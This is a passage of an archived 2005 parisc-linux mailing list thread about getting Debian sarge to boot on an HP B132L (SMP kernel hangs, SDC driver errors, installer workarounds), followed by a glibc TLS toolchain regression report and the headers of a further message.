	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6J6kYt5feSEkNb6WZHQhaXN1IGRvb8AI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22910

Joel Soete wrote:

>>I got an hp b132l to play with :) and decided to put debian sarge on it,
>>downloaded the latest netinstall cd from the web (debian site) and 
>>installed using serial console.
> 
> Just being curious: didn't you try from sti (i.e. builtin graphical interface)?

Booting with the graphic console on a B132L is difficult.  I just wrote
about this in my post to the mailing list titled "Infinite error message
 from SDC driver on install".

If you want to use the graphic console on a B132L, I found that if you
manipulate the mouse continually (a nice even circular motion), that you
are far less likely to get that infinite loop of SDC error messages.  I
believe that this is dur to the same reason why installing with a serial
console works (extra overhead of the mouse/serial interrupts allows the
SDC driver a chance to time out).  Once you get the error message:
  "HP SDC: read timeout (999999ms)"
you are safe to stop moving the mouse.

>>The install went ok, after making the initial ramdisk larger (64k 
>>instead of 16), and gave no errors, but after the copying of the files
>>and doing the first reboot. My system hung. I wasn't able to do anything

The SMP kernels hang on a B132L.  You need to install a non-smp one.  In
order to do this, you have to tell the installer not to make so many
default decisions on its own.

To do this, hit ESC when you are first asked about what language you
want.  You'll then be in the main installer menu.  Cursor down to the
entry "Change debconf priority".  Set it to "low".  After that, you will
have to select each stage in the installation process manually, and you
will be asked more questions at each stage, but you should be able to
install a non-smp kernel now (it will ask you which kernel to install).

However, after the install, you still aren't out of the water yet.  The
problem is the infinite SDC error will still be a problem because all
the 32 bit kernels have the SDC and HIL drivers built in.  When you
reboot your machine, you will need to do the mouse trick to get past the
SDC errors.  Once your machine is booted up and you go through the
secondary debian install process, you will need to download and compile
your own kernel.  There is a good tutorial on this online for newbies
(like I was) to Debian at:
http://newbiedoc.sourceforge.net/system/kernel-pkg.html

Debian has some silliness with using an initrd ramdisk at boot time and
making EVERYTHING into a module.  I didn't do this with my kernel.  I
put the scsi drivers right into the kernel.  You end up getting some
error messages at boot time from discover and hotplug (why Debian
installs and uses BOTH, I have no idea) because they both try and load
the scsi modules and there aren't any.  I ended up removing discover and
configuring hotplug to ignore the SCSI subsystem (let me know if you
want more info on that).

I'd be very happy to offer you the debian package I compiled for my
B132L.  It's made of the most recent 2.6.12-pa2 kernel source.

Hope this helps,

	Kurt (another B132L owner)


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian sarge netinstall hangs after first boot
	on b132l
Date: Fri, 15 Jul 2005 02:20:14 +0200
Lines: 137
Approved: news@gmane.org
Message-ID: <42D7013E.2010400@ieee.org>
References: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623846 15609 80.91.229.3 (22 Nov 2014 02:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2005 00:19:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 15 Jul 2005 02:19:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C22567D6A8;
	Thu, 14 Jul 2005 18:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10129-04; Thu, 14 Jul 2005 18:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB5027D6AD;
	Thu, 14 Jul 2005 18:19:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F4FF7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:19:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10087-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:19:46 -0600 (MDT)
Original-Received: from spoetnik.kulnet.kuleuven.ac.be (spoetnik.kulnet.kuleuven.ac.be
	[134.58.240.46])
	by free.linux.hp.com (Postfix) with ESMTP id 7086A7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:19:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by spoetnik.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 5D2C933EC3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:19:45 +0200 (CEST)
Original-Received: from octavianus.kulnet.kuleuven.ac.be
	(octavianus.kulnet.kuleuven.ac.be [134.58.240.71])
	by spoetnik.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 84BFE33EB8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:19:44 +0200 (CEST)
Original-Received: from [192.168.1.20] (10-91-73-189.kotnet.org [10.91.73.189])
	by octavianus.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 19551AED85
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:19:44 +0200 (CEST)
User-Agent: Debian Thunderbird 1.0.2 (X11/20050602)
X-Accept-Language: en-us, en
In-Reply-To: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
X-Enigmail-Version: 0.91.0.0
X-Virus-Scanned: by KULeuven Antivirus Cluster
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e2SlYjdeeSEkRL6WZHQhaXN1IGRvbwAk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22911

Joel Soete wrote:

>Hello Dirk,
>  
>
>>Hello,
>>
>>I got an hp b132l to play with :) and decided to put debian sarge on it,
>>
>>downloaded the latest netinstall cd from the web (debian site) and 
>>installed using serial console.
>>
>>    
>>
>Just being curious: didn't you try from sti (i.e. builtin graphical interface)?
>
>  
>
I don't have a screen, so I made a terminal out of my old P1 Linux machine

>>The install went ok, after making the initial ramdisk larger (64k 
>>instead of 16), and gave no errors, but after the copying of the files
>>    
>>
>
>  
>
>>and doing the first reboot. My system hung. I wasn't able to do anything
>>
>>    
>>
>Good to know
>
>  
>
>>(even the power button didn't work).
>>
>>The last message on my console was the following:
>>
>>HP SDC: Spunking the self test register to force PUP on next firmware
>>reset. HP SDC MLC: Registering the System Domain Controller's HIL MLC.
>>
>>    
>>
>Yes there are a lot of report on p-l and debian-hppa ml on this subject :_(
>
>  
>
sorry, i didn't see these messages, I thought that I did a thorough
google search though :(

>>Which is strange because there is no HIL stuff in this machine (this has
>>something to do with the keyboard if I'm correct, but the b132l uses 
>>ps/2 interfaces for mouse and keyboard).
>>
>>    
>>
>Yes but afaik the interface exist on this model (see a hpux ioscan) as well
>as on B160L (but not on B180 or B132L+) and it tried to initialize.
>  
>
>>Another strange thing was that the kernel that was chosen during install
>>was a smp kernel? (2.6.8...smp something, I didn't pay real attention at
>>that time)
>>
>>    
>>
>Yes very strange (but I have no clue about debian installer details :-( )
>  
>
I also have no clue about the debian installer :), but I more or less
tried the method you suggested below (opening a shell) and instead of
downloading a new kernel from the internet, I used an alternative one on
the cdrom disk (the one without smp, since the installed one was
definately the smp version from the cd). Afterwards the pc booted nice.
So the problem is definitely that the netinstall cdrom chooses a wrong
kernel for this machine.

The method I used for people having the same problem (it is a rough list
of things I did, but i guess it will be more than sufficient for most
people owning a hppa ;)).

I booted from cdrom with option ramdisk (don't know if this makes a
difference), with a ramsize of 65536
in the installation i chose the shell (you need to select <<Go Back>>
once or twice in the netinstall boot loader in order to go to the main menu)
look where the kernels are on the cdrom (which is mounted in /cdrom)
This was somewhere like /cdrom/pool/main/k/kernel..../
mkdir /mnt
mount your scsi on mnt: since there where no /dev/sdaX available, this
was for me doing something like:
mount /dev/scsi/..something../..something../target2
cp kernel_from_cdrom_location /mnt
cd /mnt
chroot .
dpkg -i kernel_filename.deb
palo
reboot

>What you coud do also, as the install-cd works fine, is to reboot from this
>cd and look for a sub-menu to enter into a shell script.
>
>Here you can setup your nic (to access the web if possible) and mainly mount
>your boot disk.
>(e.g. # mkdir /mnt/MyBoot ; mount /dev/sda5 /mnt/MyBoot ; mount /dev/sda6
>/mnt/MyBoot/var;...
>according to your slicing: sda5 would be replace by your own root partition
>sda6 your var if there is one, ...)
>
>Then you can chroot to this mount point (e.g. chroot /mnt/MyBoot )
>You would then be able to grab one of prebuild kernel e.g. from:
><http://cvs.parisc-linux.org/download/linux-2.6/> (I would recommended the
>one for b180 for your b132l)
>
>following instructions at the top of this page :-)
>
>To be sure umount your boot disk and try to reboot.
>
>That should work.
>  
>
And it did, thanks for the help

Dirk

-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
Katholieke Universiteit Leuven, ESAT-ELECTA      tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian sarge netinstall hangs after first boot
	on	b132l
Date: Fri, 15 Jul 2005 02:45:23 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <42D70723.7020104@ieee.org>
References: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
	<42D6FBB3.1030003@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623846 15613 80.91.229.3 (22 Nov 2014 02:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2005 00:45:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 15 Jul 2005 02:45:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 937327D6BF;
	Thu, 14 Jul 2005 18:45:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10540-01; Thu, 14 Jul 2005 18:45:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D7A57D6B5;
	Thu, 14 Jul 2005 18:45:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1CDE7D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:44:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10129-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:44:55 -0600 (MDT)
Original-Received: from nibbel.kulnet.kuleuven.ac.be (nibbel.kulnet.kuleuven.ac.be
	[134.58.240.41])
	by free.linux.hp.com (Postfix) with ESMTP id 207067D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:44:55 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by nibbel.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 19FF34BE8F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:44:54 +0200 (CEST)
Original-Received: from antonius.kulnet.kuleuven.ac.be (antonius.kulnet.kuleuven.ac.be
	[134.58.240.73])
	by nibbel.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 788FD4BC9A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:44:53 +0200 (CEST)
Original-Received: from [192.168.1.20] (10-91-73-189.kotnet.org [10.91.73.189])
	by antonius.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 48A784C0D1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 02:44:53 +0200 (CEST)
User-Agent: Debian Thunderbird 1.0.2 (X11/20050602)
X-Accept-Language: en-us, en
In-Reply-To: <42D6FBB3.1030003@excelcia.org>
X-Enigmail-Version: 0.91.0.0
X-Virus-Scanned: by KULeuven Antivirus Cluster
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RWKlYgsTeSEkc76WZHQhaXN1IGRvb4AL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22912

Hello Kurt,

I didn't read this message before sending mine :), and sorry for sending
 this message first to you directly (this is a strange setting of the
mailing list?)

Kurt Fitzner wrote:

>Joel Soete wrote:
>
>>>I got an hp b132l to play with :) and decided to put debian sarge on it,
>>>downloaded the latest netinstall cd from the web (debian site) and 
>>>installed using serial console.
>>>      
>>Just being curious: didn't you try from sti (i.e. builtin graphical interface)?
>
>Booting with the graphic console on a B132L is difficult.  I just wrote
>about this in my post to the mailing list titled "Infinite error message
> from SDC driver on install".
>
>If you want to use the graphic console on a B132L, I found that if you
>manipulate the mouse continually (a nice even circular motion), that you
>are far less likely to get that infinite loop of SDC error messages.  I
>believe that this is dur to the same reason why installing with a serial
>console works (extra overhead of the mouse/serial interrupts allows the
>SDC driver a chance to time out).  Once you get the error message:
>  "HP SDC: read timeout (999999ms)"
>you are safe to stop moving the mouse.
>
so I'm glad I don't have such a screen :-)

>>>The install went ok, after making the initial ramdisk larger (64k 
>>>instead of 16), and gave no errors, but after the copying of the files
>>>and doing the first reboot. My system hung. I wasn't able to do anything
>
>The SMP kernels hang on a B132L.  You need to install a non-smp one.  In
>order to do this, you have to tell the installer not to make so many
>default decisions on its own.
>
>To do this, hit ESC when you are first asked about what language you
>want.  You'll then be in the main installer menu.  Cursor down to the
>entry "Change debconf priority".  Set it to "low".  After that, you will
>have to select each stage in the installation process manually, and you
>will be asked more questions at each stage, but you should be able to
>install a non-smp kernel now (it will ask you which kernel to install).
>
ok, this method seems a bit more "according to the book" than the one i used

>However, after the install, you still aren't out of the water yet.  The
>problem is the infinite SDC error will still be a problem because all
>the 32 bit kernels have the SDC and HIL drivers built in.  When you
>reboot your machine, you will need to do the mouse trick to get past the
>SDC errors.  
>
Indeed, i get some errors, but without doing anything (there was no
mouse available) it booted, and i was already quite pleased and just
ignored them for the time being :).

>Once your machine is booted up and you go through the
>secondary debian install process, you will need to download and compile
>your own kernel.  There is a good tutorial on this online for newbies
>(like I was) to Debian at:
>http://newbiedoc.sourceforge.net/system/kernel-pkg.html
>  
>Debian has some silliness with using an initrd ramdisk at boot time and
>making EVERYTHING into a module.  I didn't do this with my kernel.  I
>put the scsi drivers right into the kernel.  You end up getting some
>error messages at boot time from discover and hotplug (why Debian
>installs and uses BOTH, I have no idea) because they both try and load
>the scsi modules and there aren't any.  I ended up removing discover and
>configuring hotplug to ignore the SCSI subsystem (let me know if you
>want more info on that).
>
>I'd be very happy to offer you the debian package I compiled for my
>B132L.  It's made of the most recent 2.6.12-pa2 kernel source.
>
>Hope this helps,
>
>	Kurt (another B132L owner)
>
I would be happy to use that package (or if the file is to big and you'd
send me the .config file so that i would be able to compile it myself)

Thanks,

Dirk


-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
Katholieke Universiteit Leuven, ESAT-ELECTA      tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TLS toolchain update (6 regressions left)
Date: Fri, 15 Jul 2005 10:26:10 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20050715142609.GR5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623847 15616 80.91.229.3 (22 Nov 2014 02:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:27 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2005 14:26:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 15 Jul 2005 16:26:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52A307D6AD;
	Fri, 15 Jul 2005 08:26:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15038-04; Fri, 15 Jul 2005 08:26:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B69A27D6AF;
	Fri, 15 Jul 2005 08:26:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88B017D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 08:26:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14871-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 08:26:15 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 0562C7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 08:26:15 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtR8k-0002FO-00; Fri, 15 Jul 2005 10:26:10 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y6KlYlEZeSEkaL6WZHQhaXN1IGRvb4Cg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22913


Please stand up and pat yourself on the back:

make[2]: *** [/glibc/math/test-fenv.out] Error 1
	= Regression (1)
make[2]: *** [/glibc/math/test-float.out] Error 1
make[2]: *** [/glibc/math/test-double.out] Error 1
make[2]: *** [/glibc/math/test-ifloat.out] Error 1
make[2]: *** [/glibc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/glibc/stdlib/tst-strtod.out] Error 1
make[2]: *** [/glibc/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/glibc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/glibc/elf/tst-array1.out] Error 1
make[2]: *** [/glibc/elf/tst-array2.out] Error 1
make[2]: *** [/glibc/elf/tst-array3.out] Error 1
make[2]: *** [/glibc/elf/tst-array4.out] Error 1
make[2]: *** [/glibc/elf/tst-array1-static.out] Error 1
	= Regressions (5)
make[2]: *** [/glibc/elf/tst-tls13.out] Error 1
	= TIMEOUTFACTOR=10 required.
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

That's 6 regressions for the C Library, which I'll target over the next
couple of weeks.

The last big error was that glibc was considering the build a
cross-compile and the environment just puked.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 19:44:48 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <20050715234448.GA5314@systemhalted.org>
References: <20050715142609.GR5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623847 15621 80.91.229.3 (22 Nov 2014 02:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:27 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
